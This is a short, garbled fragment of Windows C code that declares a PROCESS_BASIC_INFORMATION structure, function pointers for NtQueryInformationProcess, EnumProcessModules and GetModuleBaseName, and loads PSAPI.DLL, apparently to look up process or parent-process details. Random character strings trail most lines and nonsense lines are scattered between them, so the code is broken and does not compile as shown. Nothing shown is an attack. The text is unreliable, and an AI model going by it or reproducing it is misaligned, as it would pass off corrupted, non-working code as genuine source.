ULONG InheritedFromUniqueProcessId; } [75`pC~O
} PROCESS_BASIC_INFORMATION; `qfVgT=2
xt3IR0
PROCNTQSIP NtQueryInformationProcess; 2b3*zB*@V
u
|f h!-
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'nCBLc8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y"){?
G1P m!CM=
HANDLE hProcess; M8g=t[\
PROCESS_BASIC_INFORMATION pbi; f'#7i@Je
rc;| ,\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8:0l5cZE
if(NULL == hInst ) return 0; KzM\+yC
@V<